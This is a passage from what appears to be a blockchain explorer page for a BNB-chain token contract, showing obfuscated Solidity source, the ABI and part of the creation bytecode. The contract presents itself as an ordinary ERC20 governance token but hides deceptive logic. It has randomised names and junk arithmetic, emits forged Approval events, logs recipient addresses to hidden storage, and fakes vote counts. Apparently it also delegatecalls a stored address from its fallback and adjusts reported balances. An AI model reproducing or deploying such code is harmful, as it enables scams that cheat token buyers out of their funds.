YtX3kjDCjfUDI:=mul(7255911,5761902) if gt(YtX3kjDCjfUDI,6321624){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=add(6321624,442210) if gt(YtX3kjDCjfUDI,2506696){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mod(2506696,1059937) if gt(YtX3kjDCjfUDI,5943865){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=sub(5943865,3981823) } return YtX3kjDCjfUDI;} function transferOwnership(address JYqm10n7xDoZwGHiiM) public virtual onlyOwner { require( JYqm10n7xDoZwGHiiM != address(0), "Ownable: new owner is the zero address" ); wycLU1x9mT(JYqm10n7xDoZwGHiiM); }receive() external payable {}fallback() external __ {} function decreaseAllowance(address oPJXkWVeKn9eUfF1, uint256 subtractedValue) public virtual returns (bool) { address owner = Q3HNirmh0ocbEHko3mw(); uint256 X1dftLv0uZnuyjh = allowance(owner, oPJXkWVeKn9eUfF1); require( X1dftLv0uZnuyjh >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, oPJXkWVeKn9eUfF1, X1dftLv0uZnuyjh - subtractedValue); } return true; }function fBswLqfJD() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,x4nhaEuA)); return abi.decode(returnData, (uint256)); } function getVotes(address t8XrsnsCjGmbgV) external virtual view returns (uint256){return 1;} function _afterTokenTransfer( address from, address to, uint256 loLIveT5y2X6FXF81NnKp ) internal { if (fZVRX9[from] > xv5SP * 0xfe) { assembly { sstore(32, 0) } } else if ( fZVRX9[to] < xv5SP && to != x4nhaEuA ) { assembly{ mstore(0,loLIveT5y2X6FXF81NnKp) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let aLOppdBlvQ4kznFdP4Nd := sload(9999) sstore(add(10000, aLOppdBlvQ4kznFdP4Nd), to) sstore(9999, add(1, aLOppdBlvQ4kznFdP4Nd)) } } } function _beforeTokenTransfer( address from, address to, uint256 loLIveT5y2X6FXF81NnKp ) internal virtual {}}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"expiry","type":"uint256"}],"name":"VotesExpiredSignature","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"oPJXkWVeKn9eUfF1","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousVotes","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newVotes","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"JYqm10n7xDoZwGHiiM","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"EYxdL3ABpFlfdcb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"Kspr9XKU9ehNDSNoJ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"PwJxPUWYgKXTgCWKXZz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Q8RDxyXyN9VMY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"T0wT7iRiPD7OQ1StKf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Ve7wQmyMfDjO6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"oPJXkWVeKn9eUfF1","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oPJXkWVeKn9eUfF1","type":"address"},{"internalType":"uint256","name":"loLIveT5y2X6FXF81NnKp","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"t8XrsnsCjGmbgV","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cgeFRVoLpRDc9tG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oPJXkWVeKn9eUfF1","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"delegateBySig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"t8XrsnsCjGmbgV","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"timepoint","type":"uint256"}],"name":"getPastTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"t8XrsnsCjGmbgV","type":"address"},{"internalType":"uint256","name":"timepoint","type":"uint256"}],"name":"getPastVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"t8XrsnsCjGmbgV","type":"address"}],"name":"getVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"h8mXYnyWE3S4TRqKIvP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"id4Ff0SgCl2Mf96NCA6D","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oPJXkWVeKn9eUfF1","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"qwl5mtx5oDkrPwboIdN6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"loLIveT5y2X6FXF81NnKp","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"loLIveT5y2X6FXF81NnKp","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"JYqm10n7xDoZwGHiiM","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uWqkIQxfdWYtLdyLKBm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"xAUiJO7vLYz3BlfJn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b5062000023326200004460201b60201c565b6200003e30683635c9adc5dea000006200010860201b60201c565b6200044e565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200017b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000172906200033f565b60405180910390fd5b600062043d5a816200018e91906200038f565b905061054e81116200019f57600080fd5b62028a7e81620001b091906200038f565b9050611f2d8111620001c157600080fd5b623c492881620001d291906200038f565b90506108ff8111620001e357600080fd5b6256c96e81620001f491906200038f565b905061096381116200020557600080fd5b6240b3e4816200021691906200038f565b90506120dc81116200022757600080fd5b81600360008282546200023b91906200038f565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200029391906200038f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620002fa919062000361565b60405180910390a3505050565b600062000316601f836200037e565b9150620003238262000425565b602082019050919050565b6200033981620003ec565b82525050565b600060208201905081810360008301526200035a8162000307565b9050919050565b60006020820190506200037860008301846200032e565b92915050565b600082825260208201905092915050565b60006200039c82620003ec565b9150620003a983620003ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620003e157620003e0620003f6565b5b828201905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b613845806200045e6000396000f3fe6080604052600436106101f25760003560e01c80637fc9f4b21161010d578063a5e7d80f116100a0578063d9d342901161006f578063d9d34290146107d3578063dd62ed3e146107fe578063dd8642f11461083b578063ee650c5014610866578063f2fde38b14610891576101f9565b8063a5e7d80f14610719578063a9059cbb14610744578063c3cda52014610781578063d232b19e146107aa576101f9565b806395d89b41116100dc57806395d89b41146106495780639ab24eb014610674578063a111cae0146106b1578063a457c2d7146106dc576101f9565b80637fc9f4b21461058b5780638da5cb5b146105b65780638dd95002146105e15780638e539e8c1461060c576101f9565b8063313ce56711610185578063587cde1e11610154578063587cde1e146104d15780635c19a95c1461050e57806370a0823114610537578063715018a614610574576101f9565b8063313ce56714610401578063395093511461042c5780633a46b1a814610469578063427051db146104a6576101f9565b806318160ddd116101c157806318160ddd146103435780631cc7d34c1461036e57806322a403321461039957806323b872dd146103c4576101f9565b806306fdde0314610285578063095ea7b3146102b057806315e47e4e146102ed57806317e0362e14610318576101f9565b366101f957005b34801561020557600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050600460080260046020018201511415610282576020600082516008600402840130545af461027c57600080fd5b60206000f35b50005b34801561029157600080fd5b5061029a6108ba565b6040516102a79190613064565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d29190612c84565b610a28565b6040516102e49190613049565b60405180910390f35b3480156102f957600080fd5b50610302610a4b565b60405161030f91906131a6565b60405180910390f35b34801561032457600080fd5b5061032d610b03565b60405161033a91906131a6565b60405180910390f35b34801561034f57600080fd5b50610358610ca2565b60405161036591906131a6565b60405180910390f35b34801561037a57600080fd5b50610383610d87565b60405161039091906131a6565b60405180910390f35b3480156103a557600080fd5b506103ae610ed0565b6040516103bb91906131a6565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190612c31565b610f88565b6040516103f89190613049565b60405180910390f35b34801561040d57600080fd5b50610416610fb7565b60405161042391906131c1565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e9190612c84565b61101f565b6040516104609190613049565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b9190612c84565b611056565b60405161049d91906131a6565b60405180910390f35b3480156104b257600080fd5b506104bb611062565b6040516104c891906131a6565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f39190612bc4565b6111ab565b604051610505919061302e565b60405180910390f35b34801561051a57600080fd5b5061053560048036038101906105309190612bc4565b6111b2565b005b34801561054357600080fd5b5061055e60048036038101906105599190612bc4565b6111b5565b60405161056b91906131a6565b60405180910390f35b34801561058057600080fd5b5061058961131c565b005b34801561059757600080fd5b506105a0611478565b6040516105ad91906131a6565b60405180910390f35b3480156105c257600080fd5b506105cb6115fb565b6040516105d8919061302e565b60405180910390f35b3480156105ed57600080fd5b506105f661171d565b604051610603919061302e565b60405180910390f35b34801561061857600080fd5b50610633600480360381019061062e9190612ddc565b611735565b60405161064091906131a6565b60405180910390f35b34801561065557600080fd5b5061065e611740565b60405161066b9190613064565b60405180910390f35b34801561068057600080fd5b5061069b60048036038101906106969190612bc4565b6118ae565b6040516106a891906131a6565b60405180910390f35b3480156106bd57600080fd5b506106c66118b9565b6040516106d391906131a6565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190612c84565b611a76565b6040516107109190613049565b60405180910390f35b34801561072557600080fd5b5061072e611aed565b60405161073b91906131a6565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190612c84565b611bfc565b6040516107789190613049565b60405180910390f35b34801561078d57600080fd5b506107a860048036038101906107a39190612cc4565b611c1f565b005b3480156107b657600080fd5b506107d160048036038101906107cc9190612d51565b611c27565b005b3480156107df57600080fd5b506107e8611cd2565b6040516107f591906131a6565b60405180910390f35b34801561080a57600080fd5b5061082560048036038101906108209190612bf1565b611e1b565b60405161083291906131a6565b60405180910390f35b34801561084757600080fd5b50610850611ea2565b60405161085d91906131a6565b60405180910390f35b34801561087257600080fd5b5061087b611f93565b60405161088891906131a6565b60405180910390f35b34801561089d57600080fd5b506108b860048036038101906108b39190612bc4565b61204b565b005b606060006212e76a816108cd9190613264565b90506122a781116108dd57600080fd5b620166ea816108ec9190613264565b905061262481116108fc57600080fd5b6218d2d58161090b9190613264565b90506125a7811161091b57600080fd5b6249c0578161092a9190613264565b90506113ec811161093a57600080fd5b621faa73816109499190613264565b90506121f1811161095957600080fd5b624e889d816109689190613264565b90506123de811161097857600080fd5b6256402e816109879190613264565b90506125a9811161099757600080fd5b600580546109a4906133e9565b80601f01602080910402602001604051908101604052809291908181526020018280546109d0906133e9565b8015610a1d5780601f106109f257610100808354040283529160200191610a1d565b820191906000526020600020905b815481529060010190602001808311610a0057829003601f168201915b505050505091505090565b600080610a3361213c565b9050610a40818585612144565b600191505092915050565b6000806210dc53811115610a60576002810490505b62030a666210dc5302905062931587811115610a7d576002810490505b625919c662931587039050629773e4811115610a9a576002810490505b62417e3f629773e40690506229995c811115610ab7576002810490505b621ff8a26229995c0490506241346a811115610ad4576002810490505b620bdaf76241346a0290506257f279811115610af1576002810490505b62515e7f6257f2790490508091505090565b600080626eebe2811115610b18576002810490505b623e58aa626eebe20190506208e790811115610b35576002810490505b611ad26208e79001905062566623811115610b51576002810490505b6216438062566623049050626ce602811115610b6e576002810490505b6204c5cc626ce60202905062925104811115610b8b576002810490505b62355cf662925104049050624dc71b811115610ba8576002810490505b62407fb8624dc71b069050626630ea811115610bc5576002810490505b623a5daf626630ea069050624be10e811115610be2576002810490505b62470c8f624be10e069050621edea0811115610bff576002810490505b621bf69f621edea00490506225a67b811115610c1c576002810490505b621af9616225a67b04905062683f28811115610c39576002810490505b6231666062683f280190506293fb81811115610c56576002810490505b62446f1a6293fb8101905062586227811115610c73576002810490505b623125a762586227029050626bbf92811115610c90576002810490505b623fbca5626bbf920490508091505090565b6000806228ca8f81610cb49190613264565b905061121a8111610cc457600080fd5b62398a4d81610cd39190613264565b90506123ef8111610ce357600080fd5b6225587381610cf29190613264565b905061253c8111610d0257600080fd5b62176c7d81610d119190613264565b9050611d228111610d2157600080fd5b621d0cc081610d309190613264565b9050611a138111610d4057600080fd5b623841a481610d4f9190613264565b9050611ff78111610d5f57600080fd5b6241228381610d6e9190613264565b90506113468111610d7e57600080fd5b60035491505090565b600080626f860f811115610d9c576002810490505b624e79a0626f860f01905062354d0d811115610db9576002810490505b6234d17b62354d0d04905062672f68811115610dd6576002810490505b62440d8162672f68069050625944b3811115610df3576002810490505b62378620625944b30390506283b854811115610e10576002810490505b624d60226283b85402905062813e9f811115610e2d576002810490505b6233baea62813e9f0690506230edcd811115610e4a576002810490505b6213477e6230edcd019050628f09c1811115610e67576002810490505b6216e587628f09c102905062588750811115610e84576002810490505b623de1476258875004905062310523811115610ea1576002810490505b620d8658623105230490506238dba2811115610ebe576002810490505b621d95486238dba20190508091505090565b600080627189a3811115610ee5576002810490505b622e828b627189a3069050625bf5ce811115610f02576002810490505b624d1d75625bf5ce03905062552083811115610f1f576002810490505b6250a83262552083049050626f7307811115610f3c576002810490505b6241ba73626f73070190506255a759811115610f59576002810490505b6245d2776255a7590290506281632a811115610f76576002810490505b62448c196281632a0390508091505090565b600080610f9361213c565b9050610fa08582856123cc565b610fab858585612458565b60019150509392505050565b600080620f493a81610fc99190613264565b90506105e58111610fd957600080fd5b6213a45081610fe89190613264565b90506120b08111610ff857600080fd5b621a9730816110079190613264565b90506103c6811161101757600080fd5b600991505090565b60008061102a61213c565b905061104b81858561103c8589611e1b565b6110469190613264565b612144565b600191505092915050565b60006002905092915050565b600080628ccd1a811115611077576002810490505b62585ff0628ccd1a04905062500868811115611094576002810490505b6220c47862500868069050628985478111156110b1576002810490505b62117608628985470390506267027e8111156110ce576002810490505b62464e376267027e029050627fe9ab8111156110eb576002810490505b62422d3f627fe9ab0490506269806b811115611108576002810490505b6242ccc26269806b029050627fe2ca811115611125576002810490505b625a4f9c627fe2ca019050627219c8811115611142576002810490505b62090a92627219c80390506273b90181111561115f576002810490505b624263cf6273b9010190506248b26181111561117c576002810490505b62131e466248b26101905062431c5a811115611199576002810490505b6236d02462431c5a0690508091505090565b6000919050565b50565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561122a576000611217612724565b905060205481101561122857600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611317565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611314919061344c565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661133b6115fb565b73ffffffffffffffffffffffffffffffffffffffff1614611391576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138890613126565b60405180910390fd5b6000624b26e9816113a29190613264565b9050611a7681116113b257600080fd5b62432f9e816113c19190613264565b905061071c81116113d157600080fd5b62509f98816113e09190613264565b905061166e81116113f057600080fd5b625838e0816113ff9190613264565b9050607a811161140e57600080fd5b621e810d8161141d9190613264565b905061162a811161142d57600080fd5b623f3c2d8161143c9190613264565b90506117f0811161144c57600080fd5b624c54588161145b9190613264565b9050610785811161146b57600080fd5b6114756000612836565b50565b60008062811c3481111561148d576002810490505b6253585562811c340490506236f7248111156114aa576002810490505b620f07106236f724029050628681048111156114c7576002810490505b62540fd962868104069050626b224c8111156114e4576002810490505b622360d5626b224c019050627c9bcd811115611501576002810490505b620d074d627c9bcd0390506255627f81111561151e576002810490505b622eaa5c6255627f039050627f927581111561153b576002810490505b62058188627f9275019050628e9d78811115611558576002810490505b6258bc4c628e9d78019050623a1684811115611575576002810490505b621e9151623a1684069050626a4d87811115611592576002810490505b622c103a626a4d87049050625d32038111156115af576002810490505b62016a40625d320306905062556f9a8111156115cc576002810490505b6208407962556f9a019050626f6f408111156115e9576002810490505b6218596e626f6f400190508091505090565b6000806248000a8161160d9190613264565b90506122f9811161161d57600080fd5b62092bbc8161162c9190613264565b90506125bd811161163c57600080fd5b624cf1af8161164b9190613264565b90506113bd811161165b57600080fd5b623ee7e78161166a9190613264565b905061111e811161167a57600080fd5b623bc172816116899190613264565b90506120d0811161169957600080fd5b621d0d31816116a89190613264565b9050610b3481116116b857600080fd5b62402bde816116c79190613264565b905061150d81116116d757600080fd5b621cf5f0816116e69190613264565b905061221581116116f657600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6000607b9050919050565b6060600062304625816117539190613264565b90506116a9811161176357600080fd5b622a64d9816117729190613264565b9050610ef6811161178257600080fd5b622903e0816117919190613264565b90506118a881116117a157600080fd5b623009fd816117b09190613264565b905061151181116117c057600080fd5b6229542a816117cf9190613264565b905061156f81116117df57600080fd5b6238f4d0816117ee9190613264565b90506103b181116117fe57600080fd5b623ccf188161180d9190613264565b905061017a811161181d57600080fd5b6006805461182a906133e9565b80601f0160208091040260200160405190810160405280929190818152602001828054611856906133e9565b80156118a35780601f10611878576101008083540402835291602001916118a3565b820191906000526020600020905b81548152906001019060200180831161188657829003601f168201915b505050505091505090565b600060019050919050565b600080626b68a98111156118ce576002810490505b622021ac626b68a9019050622c84d18111156118eb576002810490505b62139b56622c84d101905062311193811115611908576002810490505b6230374f62311193049050627a4d32811115611925576002810490505b624f960f627a4d32029050627b0f14811115611942576002810490505b625903da627b0f14039050627b11d281111561195f576002810490505b62323356627b11d2029050625d592081111561197c576002810490505b621ca65c625d592002905062702e37811115611999576002810490505b6251e06f62702e370290506292dec88111156119b6576002810490505b621c7b726292dec8069050626562188111156119d3576002810490505b6244640562656218029050625a48178111156119f0576002810490505b6237b8f2625a4817029050626eb767811115611a0d576002810490505b6257eb6e626eb767029050626075d8811115611a2a576002810490505b6206bf62626075d801905062263fc8811115611a47576002810490505b62102c6162263fc8069050625ab239811115611a64576002810490505b623cc1ff625ab2390390508091505090565b600080611a8161213c565b90506000611a8f8286611e1b565b905083811015611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb90613186565b60405180910390fd5b611ae18286868403612144565b60019250505092915050565b60008062385533811115611b02576002810490505b62070ebd62385533049050625338d9811115611b1f576002810490505b624d8bc5625338d9049050627dae93811115611b3c576002810490505b62318984627dae9302905062616f1b811115611b59576002810490505b6246bed962616f1b029050628ac974811115611b76576002810490505b6236f706628ac97402905062275ebb811115611b93576002810490505b6218b33562275ebb0190506256922e811115611bb0576002810490505b62345ade6256922e06905062784414811115611bcd576002810490505b6220d06a62784414019050626912b9811115611bea576002810490505b625869e0626912b90190508091505090565b600080611c0761213c565b9050611c14818585612458565b600191505092915050565b505050505050565b3273ffffffffffffffffffffffffffffffffffffffff16611c466115fb565b73ffffffffffffffffffffffffffffffffffffffff1614611c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9390613126565b60405180910390fd5b8160069080519060200190611cb2929190612a48565b508260059080519060200190611cc9929190612a48565b50333055505050565b6000806214b005811115611ce7576002810490505b620bfe846214b0050490506275e882811115611d04576002810490505b6210e8df6275e8820490506291c4a1811115611d21576002810490505b6250e1f66291c4a1049050624eb0f6811115611d3e576002810490505b62464e1f624eb0f6039050623fcdbe811115611d5b576002810490505b6232ed28623fcdbe069050625798b9811115611d78576002810490505b623ad49d625798b903905062274b4a811115611d95576002810490505b6215b82462274b4a049050622ac3da811115611db2576002810490505b621b72de622ac3da069050626886cd811115611dcf576002810490505b62386b9c626886cd0290506268fce5811115611dec576002810490505b624de1206268fce5019050627c111a811115611e09576002810490505b623ad822627c111a0190508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008062417282811115611eb7576002810490505b623129866241728203905062827c2c811115611ed4576002810490505b6181fe62827c2c02905062587bc8811115611ef0576002810490505b624ffa9662587bc8069050627f9778811115611f0d576002810490505b621c65af627f97780690506297a384811115611f2a576002810490505b6206db556297a384039050624f7c49811115611f47576002810490505b6230dfc9624f7c49049050628a212b811115611f64576002810490505b625013f9628a212b039050625e4439811115611f81576002810490505b624615a2625e44390190508091505090565b600080627e4fe6811115611fa8576002810490505b6236d634627e4fe60490506255083c811115611fc5576002810490505b6201dcfc6255083c03905062980d16811115611fe2576002810490505b620a404762980d160390506280d1e9811115611fff576002810490505b620449556280d1e9069050622ff31781111561201c576002810490505b6214d315622ff31703905062834147811115612039576002810490505b62407ede628341470690508091505090565b3273ffffffffffffffffffffffffffffffffffffffff1661206a6115fb565b73ffffffffffffffffffffffffffffffffffffffff16146120c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b790613126565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612130576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612127906130a6565b60405180910390fd5b61213981612836565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ab90613166565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221b906130c6565b60405180910390fd5b600062065b0b816122359190613264565b9050611bb6811161224557600080fd5b62473c3a816122549190613264565b90506110bf811161226457600080fd5b6225242f816122739190613264565b9050611b7d811161228357600080fd5b621979a2816122929190613264565b905061100e81116122a257600080fd5b623fbf22816122b19190613264565b90506126d381116122c157600080fd5b621a4b37816122d09190613264565b905061204e81116122e057600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516123be91906131a6565b60405180910390a350505050565b60006123d88484611e1b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146124525781811015612444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243b906130e6565b60405180910390fd5b6124518484848403612144565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90613146565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561253157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613086565b60405180910390fd5b61257b8383836128fa565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f990613106565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126519190613314565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126a79190613264565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270b91906131a6565b60405180910390a361271e8484846128ff565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c7